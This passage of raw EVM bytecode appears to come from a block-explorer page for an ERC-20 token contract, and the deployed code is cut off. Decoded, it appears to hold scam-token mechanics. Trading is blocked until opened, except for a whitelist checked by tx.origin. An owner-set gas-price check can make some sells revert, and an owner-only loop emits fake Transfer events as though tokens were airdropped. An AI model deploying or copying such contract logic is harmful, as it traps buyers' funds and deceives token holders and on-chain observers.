000000000000000000000000000000000000000000000000000815260040161089393929190611135565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610928578060025f8282540392505081905550610972565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a515760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a44919061116a565b60405180910390a3610b97565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b30578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b23919061116a565b60405180910390a3610b96565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b8d919061116a565b60405180910390a35b5b505050565b5f610bac82610bf160201b60201c565b1115610bee57600c5f9054906101000a900460ff16610bdb57610bd6600f54610c3660201b60201c565b610bed565b610bec601054610c3660201b60201c565b5b5b50565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b803a1115610c42575f80fd5b50565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cc057607f821691505b602082108103610cd357610cd2610c7c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610cfa565b610d3f8683610cfa565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610d83610d7e610d7984610d57565b610d60565b610d57565b9050919050565b5f819050919050565b610d9c83610d69565b610db0610da882610d8a565b848454610d06565b825550505050565b5f90565b610dc4610db8565b610dcf818484610d93565b505050565b5b81811015610df257610de75f82610dbc565b600181019050610dd5565b5050565b601f821115610e3757610e0881610cd9565b610e1184610ceb565b81016020851015610e20578190505b610e34610e2c85610ceb565b830182610dd4565b50505b505050565b5f82821c905092915050565b5f610e575f1984600802610e3c565b1980831691505092915050565b5f610e6f8383610e48565b9150826002028217905092915050565b610e8882610c45565b67ffffffffffffffff811115610ea157610ea0610c4f565b5b610eab8254610ca9565b610eb6828285610df6565b5f60209050601f831160018114610ee7575f8415610ed5578287015190505b610edf8582610e64565b865550610f46565b601f198416610ef586610cd9565b5f5b82811015610f1c57848901518255600182019150602085019450602081019050610ef7565b86831015610f395784890151610f35601f891682610e48565b8355505b6001600288020188555050505b505050505050565b5f80fd5b610f5b81610d57565b8114610f65575f80fd5b50565b5f81519050610f7681610f52565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610fa582610f7c565b9050919050565b610fb581610f9b565b8114610fbf575f80fd5b50565b5f81519050610fd081610fac565b92915050565b5f805f60608486031215610fed57610fec610f4e565b5b5f610ffa86828701610f68565b935050602061100b86828701610fc2565b925050604061101c86828701610f68565b9150509250925092565b61102f81610f9b565b82525050565b5f6020820190506110485f830184611026565b92915050565b5f82825260208201905092915050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f611092601d8361104e565b915061109d8261105e565b602082019050919050565b5f6020820190508181035f8301526110bf81611086565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6110fd82610d57565b915061110883610d57565b92508282019050808211156111205761111f6110c6565b5b92915050565b61112f81610d57565b82525050565b5f6060820190506111485f830186611026565b6111556020830185611126565b6111626040830184611126565b949350505050565b5f60208201905061117d5f830184611126565b92915050565b61246b806111905f395ff3fe608060405234801561000f575f80fd5b50600436106101d8575f3560e01c8063715018a611610102578063a11223da116100a0578063dd62ed3e1161006f578063dd62ed3e1461050e578063e086e5ec1461053e578063e1ad418e14610548578063f2fde38b14610578576101d8565b8063a11223da14610488578063a22d4832146104a4578063a8b08982146104c0578063a9059cbb146104de576101d8565b80638da5cb5b116100dc5780638da5cb5b1461040057806395d89b411461041e5780639b19251a1461043c5780639b6fbf8a1461046c576101d8565b8063715018a6146103bc5780637b61c320146103c65780638b339069146103e4576101d8565b8063313ce5671161017a578063594ef0d911610149578063594ef0d9146103465780636b05abd6146103645780636c02a9311461036e57806370a082311461038c576101d8565b8063313ce567146102d05780633c9f5ed6146102ee5780634c97f4721461030c5780635408d42d14610328576101d8565b806315aac227116101b657806315aac2271461024657806318160ddd1461026457806323b872dd146102825780632711b8a5146102b2576101d8565b8063068acf6c146101dc57806306fdde03146101f8578063095ea7b314610216575b5f80fd5b6101f660048036038101906101f191906119e4565b610594565b005b610200610697565b60405161020d9190611a7f565b60405180910390f35b610230600480360381019061022b9190611ad2565b610727565b60405161023d9190611b2a565b60405180910390f35b61024e610749565b60405161025b9190611b52565b60405180910390f35b61026c61074f565b6040516102799190611b52565b60405180910390f35b61029c60048036038101906102979190611b6b565b610758565b6040516102a99190611b2a565b60405180910390f35b6102ba610786565b6040516102c79190611b52565b60405180910390f35b6102d861078e565b6040516102e59190611bd6565b60405180910390f35b6102f6610796565b6040516103039190611b2a565b60405180910390f35b61032660048036038101906103219190611d1b565b6107ab565b005b6103306107d7565b60405161033d9190611b2a565b60405180910390f35b61034e6107e9565b60405161035b9190611b52565b60405180910390f35b61036c6107ef565b005b610376610821565b6040516103839190611a7f565b60405180910390f35b6103a660048036038101906103a191906119e4565b6108ad565b6040516103b39190611b52565b60405180910390f35b6103c46108f2565b005b6103ce610905565b6040516103db9190611a7f565b60405180910390f35b6103fe60048036038101906103f99190611d91565b610991565b005b6104086109a3565b6040516104159190611dcb565b60405180910390f35b6104266109cb565b6040516104339190611a7f565b60405180910390f35b610456600480360381019061045191906119e4565b610a5b565b6040516104639190611b2a565b60405180910390f35b61048660048036038101906104819190611ea8565b610a78565b005b6104a2600480360381019061049d9190611eef565b610b0b565b005b6104be60048036038101906104b991906119e4565b610bb6565b005b6104c8610c02565b6040516104d59190611dcb565b60405180910390f35b6104f860048036038101906104f39190611ad2565b610c28565b6040516105059190611b2a565b60405180910390f35b61052860048036038101906105239190611f49565b610c4a565b6040516105359190611b52565b60405180910390f35b610546610ccc565b005b610562600480360381019061055d91906119e4565b610d1a565b60405161056f9190611b52565b60405180910390f35b610592600480360381019061058d91906119e4565b610d2f565b005b61059c610db3565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105d69190611dcb565b602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190611f9b565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610652929190611fc6565b6020604051808303815f875af115801561066e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106929190612017565b505050565b6060600880546106a69061206f565b80601f01602080910402602001604051908101604052809291908181526020018280546106d29061206f565b801561071d5780601f106106f45761010080835404028352916020019161071d565b820191905f5260205f20905b81548152906001019060200180831161070057829003601f168201915b5050505050905090565b5f80610731610e3a565b905061073e818585610e41565b600191505092915050565b600b5481565b5f600254905090565b5f80610762610e3a565b905061076f858285610e53565b61077a858585610ee5565b60019150509392505050565b5f6001905090565b5f6012905090565b5f600c5f9054906101000a900460ff16905090565b6107b3610db3565b81600890816107c2919061223c565b5080600990816107d2919061223c565b505050565b600c5f9054906101000a900460ff1681565b600a5481565b6107f7610db3565b600c5f9054906101000a900460ff1615600c5f6101000a81548160ff021916908315150217905550565b6008805461082e9061206f565b80601f016020809104026020016040519081016040528092919081815260200182805461085a9061206f565b80156108a55780601f1061087c576101008083540402835291602001916108a5565b820191905f5260205f20905b81548152906001019060200180831161088857829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108fa610db3565b6109035f610fd5565b565b600980546109129061206f565b80601f016020809104026020016040519081016040528092919081815260200182805461093e9061206f565b80156109895780601f1061096057610100808354040283529160200191610989565b820191905f5260205f20905b81548152906001019060200180831161096c57829003601f168201915b505050505081565b610999610db3565b80600a8190555050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546109da9061206f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a069061206f565b8015610a515780601f10610a2857610100808354040283529160200191610a51565b820191905f5260205f20905b815481529060010190602001808311610a3457829003601f168201915b5050505050905090565b600e602052805f5260405f205f915054906101000a900460ff1681565b610a80610db3565b5f5b8151811015610b07576001600e5f848481518110610aa357610aa261230b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a82565b5050565b610b13610db3565b5f5b8251811015610bb157828181518110610b3157610b3061230b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16610b576109a3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9c9190611b52565b60405180910390a38080600101915050610b15565b505050565b610bbe610db3565b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610c32610e3a565b9050610c3f818585610ee5565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610cd4610db3565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d17573d5f803e3d5ffd5b50565b600d602052805f5260405f205f915090505481565b610d37610db3565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610da7575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d9e9190611dcb565b60405180910390fd5b610db081610fd5565b50565b610dbb610e3a565b73ffffffffffffffffffffffffffffffffffffffff16610dd96109a3565b73ffffffffffffffffffffffffffffffffffffffff1614610e3857610dfc610e3a565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610e2f9190611dcb565b60405180910390fd5b565b5f33905090565b610e4e8383836001611098565b505050565b5f610e5e8484610c4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610edf5781811015610ed0578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ec793929190612338565b60405180910390fd5b610ede84848484035f611098565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f4c9190611dcb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc5575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fbc9190611dcb565b60405180910390fd5b610fd0838383611267565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611108575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016110ff9190611dcb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611178575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161116f9190611dcb565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611261578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112589190611b52565b60405180910390a35b50505050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112c6576112c183838361154e565b611549565b600c5f9054906101000a900460ff16611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b906123b7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113795761137483838361154e565b611549565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561141f5750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141d9190612402565b115b1561143d5761142d83611927565b61143883838361154e565b611549565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114e45750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114e19190612402565b11155b1561153d5780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115359190612402565b925050819055505b61154883838361154e565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361159e578060025f8282546115929190612402565b9250508190555061166c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611627578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161161e93929190612338565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b3578060025f82825403925050819055506116fd565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117dc5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117cf9190611b52565b60405180910390a3611922565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118bb578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ae9190611b52565b60405180910390a3611921565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119189190611b52565b60405180910390a35b5b505050565b5f611931826108ad565b111561196757600c5f9054906101000a900460ff1661195a57611955600f5461196a565b611966565b61196560105461196a565b5b5b50565b803a1115611976575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119b38261198a565b9050919050565b6119c3816119a9565b81146119cd575f80fd5b50565b5f813590506119de816119ba565b92915050565b5f602082840312156119f9576119f8611982565b5b5f611a06848285016119d0565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611a5182611a0f565b611a5b8185611a19565b9350611a6b818560208601611a29565b611a7481611a37565b840191505092915050565b5f6020820190508181035f830152611a978184611a47565b905092915050565b5f819050919050565b611ab181611a9f565b8114611abb575f80fd5b50565b5f81359050611acc81611aa8565b92915050565b5f8060408385031215611ae857611ae7611982565b5b5f611af5858286016119d0565b9250506020611b0685828601611abe565b9150509250929050565b5f8115159050919050565b611b2481611b10565b82525050565b5f602082019050611b3d5f830184611b1b565b92915050565b611b4c81611a9f565b82525050565b5f602082019050611b655f830184611b43565b92915050565b5f805f60608486031215611b8257611b81611982565b5b5f611b8f868287016119d0565b9350506020611ba0868287016119d0565b9250506040611bb186828701611abe565b9150509250925092565b5f60ff82169050919050565b611bd081611bbb565b82525050565b5f602082019050611be95f830184611bc7565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c2d82611a37565b810181811067ffffffffffffffff82111715611c4c57611c4b611bf7565b5b80604052505050565b5f611c5e611979565b9050611c6a8282611c24565b919050565b5f67ffffffffffffffff821115611c8957611c88611bf7565b5b611c9282611a37565b9050602081019050919050565b828183375f83830152505050565b5f611cbf611cba84611c6f565b611c55565b905082815260208101848484011115611cdb57611cda611bf3565b5b611ce6848285611c9f565b509392505050565b5f82601f830112611d0257611d01611bef565b5b8135611d12848260208601611cad565b91505092915050565b5f8060408385031215611d3157611d30611982565b5b5f83013567ffffffffffffffff811115611d4e57611d4d611986565b5b611d5a85828601611cee565b925050602083013567ffffffffffffffff811115611d7b57611d7a611986565b5b611d8785828601611cee565b9150509250929050565b5f60208284031215611da657611da5611982565b5b5f611db384828501611abe565b91505092915050565b611dc5816119a9565b82525050565b5f602082019050611dde5f830184611dbc565b92915050565b5f67ffffffffffffffff821115611dfe57611dfd611bf7565b5b602082029050602081019050919050565b5f80fd5b5f611e25611e2084611de4565b611c55565b90508083825260208201905060208402830185811115611e4857611e47611e0f565b5b835b81811015611e715780611e5d88826119d0565b845260208401935050602081019050611e4a565b5050509392505050565b5f82601f830112611e8f57611e8e611bef565b5b8135611e9f848260208601611e13565b91505092915050565b5f60208284031215611ebd57611ebc611982565b5b5f82013567ffffffffffffffff811115611eda57611ed9611986565b5b611ee684828501611e7b565b91505092915050565b5f8060408385031215611f0557611f04611982565b5b5f83013567ffffffffffffffff811115611f2257611f21611986565b5b611f2e85828601611e7b565b9250506020611f3f85828601611abe565b9150509250929050565b5f8060408385031215611f5f57611f5e611982565b5b5f611f6c858286016119d0565b9250506020611f7d858286016119d0565b9150509250929050565b5f81519050611f9581611aa8565b92915050565b5f60208284031215611fb057611faf611982565b5b5f611fbd84828501611f87565b91505092915050565b5f604082019050611fd95f830185611dbc565b611fe66020830184611b43565b9392505050565b611ff681611b10565b8114612000575f80fd5b50565b5f8151905061201181611fed565b92915050565b5f6020828403121561202c5761202b611982565b5b5f61203984828501612003565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061208657607f821691505b60208210810361209957612098612042565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026120fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826120c0565b61210586836120c0565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61214061213b61213684611a9f565b61211d565b611a9f565b9050919050565b5f819050919050565b61215983612126565b61216d61216582612147565b8484546120cc565b825550505050565b5f90565b612181612175565b61218c818484612150565b505050565b5b818110156121af576121a45f82612179565b600181019050612192565b5050565b601f8211156121f4576121c58161209f565b6121ce846120b1565b810160208510156121dd578190505b6121f16121e9856120b1565b830182612191565b50505b505050565b5f82821c905092915050565b5f6122145f19846008026121f9565b1980831691505092915050565b5f61222c8383612205565b9150826002028217905092915050565b61224582611a0f565b67ffffffffffffffff81111561225e5761225d611bf7565b5b612268825461206f565b6122738282856121b3565b5f60209050601f8311600181146122a4575f8415612292578287015190505b61229c8582612221565b865550612303565b601f1984166122b28661209f565b5f5b828110156122d9578489015182556001820191506020850194506020810190506122b4565b868310156122f657848901516122f2601f891682612205565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f60608201905061234b5f830186611dbc565b6123586020830185611b43565b6123656040830184611b43565b949350505050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6123a1601d83611a19565b91506123ac8261236d565b602082019050919050565b5f6020820190508181035f8301526123ce81612395565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61240c82611a9f565b915061241783611a9f565b925082820190508082111561242f5761242e6123d5565b5b9291505056fea26469706673582212204192ad6bdca9187b76f7c16de4b59140c935990908716d23604c58beea9f73cf64736f6c634300081900330000000000000000000000000000000000000000033b2e3c9fd0803ce800000000000000000000000000000005ca93947bc2ba93a16cb4c1e4a16430f7ef6de00000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106101d8575f3560e01c8063715018a611610102578063a11223da116100a0578063dd62ed3e1161006f578063dd62ed3e1461050e578063e086e5ec1461053e578063e1ad418e14610548578063f2fde38b14610578576101d8565b8063a11223da14610488578063a22d4832146104a4578063a8b08982146104c0578063a9059cbb146104de576101d8565b80638da5cb5b116100dc5780638da5cb5b1461040057806395d89b411461041e5780639b19251a1461043c5780639b6fbf8a1461046c576101d8565b8063715018a6146103bc5780637b61c320146103c65780638b339069146103e4576101d8565b8063313ce5671161017a578063594ef0d911610149578063594ef0d9146103465780636b05abd6146103645780636c02a9311461036e57806370a082311461038c576101d8565b8063313ce567146102d05780633c9f5ed6146102ee5780634c97f4721461030c5780635408d42d14610328576101d8565b806315aac227116101b657806315aac2271461024657806318160ddd1461026457806323b872dd146102825780632711b8a5146102b2576101d8565b8063068acf6c146101dc57806306fdde03146101f8578063095ea7b314610216575b5f80fd5b6101f660048036038101906101f191906119e4565b610594565b005b610200610697565b60405161020d9190611a7f565b60405180910390f35b610230600480360381019061022b9190611ad2565b610727565b60405161023d9190611b2a565b60405180910390f35b61024e610749565b60405161025b9190611b52565b60405180910390f35b61026c61074f565b6040516102799190611b52565b60405180910390f35b61029c60048036038101906102979190611b6b565b610758565b6040516102a99190611b2a565b60405180910390f35b6102ba610786565b6040516102c79190611b52565b60405180910390f35b6102d861078e565b6040516102e59190611bd6565b60405180910390f35b6102f6610796565b6040516103039190611b2a565b60405180910390f35b61032660048036038101906103219190611d1b565b6107ab565b005b6103306107d7565b60405161033d9190611b2a565b60405180910390f35b61034e6107e9565b60405161035b9190611b52565b60405180910390f35b61036c6107ef565b005b610376610821565b6040516103839190611a7f565b60405180910390f35b6103a660048036038101906103a191906119e4565b6108ad565b6040516103b39190611b52565b60405180910390f35b6103c46108f2565b005b6103ce610905565b6040516103db9190611a7f565b60405180910390f35b6103fe60048036038101906103f99190611d91565b610991565b005b6104086109a3565b6040516104159190611dcb565b60405180910390f35b6104266109cb565b6040516104339190611a7f565b60405180910390f35b610456600480360381019061045191906119e4565b610a5b565b6040516104639190611b2a565b60405180910390f35b61048660048036038101906104819190611ea8565b610a78565b005b6104a2600480360381019061049d9190611eef565b610b0b565b005b6104be60048036038101906104b991906119e4565b610bb6565b005b6104c8610c02565b6040516104d59190611dcb565b60405180910390f35b6104f860048036038101906104f39190611ad2565b610c28565b6040516105059190611b2a565b60405180910390f35b61052860048036038101906105239190611f49565b610c4a565b6040516105359190611b52565b60405180910390f35b610546610ccc565b005b610562600480360381019061055d91906119e4565b610d1a565b60405161056f9190611b52565b60405180910390f35b610592600480360381019061058d91906119e4565b610d2f565b005b61059c610db3565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105d69190611dcb565b602060405180830381865afa1580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190611f9b565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610652929190611fc6565b6020604051808303815f875af115801561066e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106929190612017565b505050565b6060600880546106a69061206f565b80601f01602080910402602001604051908101604052809291908181526020018280546106d29061206f565b801561071d5780601f106106f45761010080835404028352916020019161071d565b820191905f5260205f20905b81548152906001019060200180831161070057829003601f168201915b5050505050905090565b5f80610731610e3a565b905061073e818585610e41565b600191505092915050565b600b5481565b5f600254905090565b5f80610762610e3a565b905061076f858285610e53565b61077a858585610ee5565b60019150509392505050565b5f6001905090565b5f6012905090565b5f600c5f9054906101000a900460ff16905090565b6107b3610db3565b81600890816107c2919061223c565b5080600990816107d2919061223c565b505050565b600c5f9054906101000a900460ff1681565b600a5481565b6107f7610db3565b600c5f9054906101000a900460ff1615600c5f6101000a81548160ff021916908315150217905550565b6008805461082e9061206f565b80601f016020809104026020016040519081016040528092919081815260200182805461085a9061206f565b80156108a55780601f1061087c576101008083540402835291602001916108a5565b820191905f5260205f20905b81548152906001019060200180831161088857829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108fa610db3565b6109035f610fd5565b565b600980546109129061206f565b80601f016020809104026020016040519081016040528092919081815260200182805461093e9061206f565b80156109895780601f1061096057610100808354040283529160200191610989565b820191905f5260205f20905b81548152906001019060200180831161096c57829003601f168201915b505050505081565b610999610db3565b80600a8190555050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546109da9061206f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a069061206f565b8015610a515780601f10610a2857610100808354040283529160200191610a51565b820191905f5260205f20905b815481529060010190602001808311610a3457829003601f168201915b5050505050905090565b600e602052805f5260405f205f915054906101000a900460ff1681565b610a80610db3565b5f5b8151811015610b07576001600e5f848481518110610aa357610aa261230b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a82565b5050565b610b13610db3565b5f5b8251811015610bb157828181518110610b3157610b3061230b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16610b576109a3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9c9190611b52565b60405180910390a38080600101915050610b15565b505050565b610bbe610db3565b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80610c32610e3a565b9050610c3f818585610ee5565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610cd4610db3565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d17573d5f803e3d5ffd5b50565b600d602052805f5260405f205f915090505481565b610d37610db3565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610da7575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d9e9190611dcb565b60405180910390fd5b610db081610fd5565b50565b610dbb610e3a565b73ffffffffffffffffffffffffffffffffffffffff16610dd96109a3565b73ffffffffffffffffffffffffffffffffffffffff1614610e3857610dfc610e3a565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610e2f9190611dcb565b60405180910390fd5b565b5f33905090565b610e4e8383836001611098565b505050565b5f610e5e8484610c4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610edf5781811015610ed0578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ec793929190612338565b60405180910390fd5b610ede84848484035f611098565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f55575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f4c9190611dcb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc5575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fbc9190611dcb565b60405180910390fd5b610fd0838383611267565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffff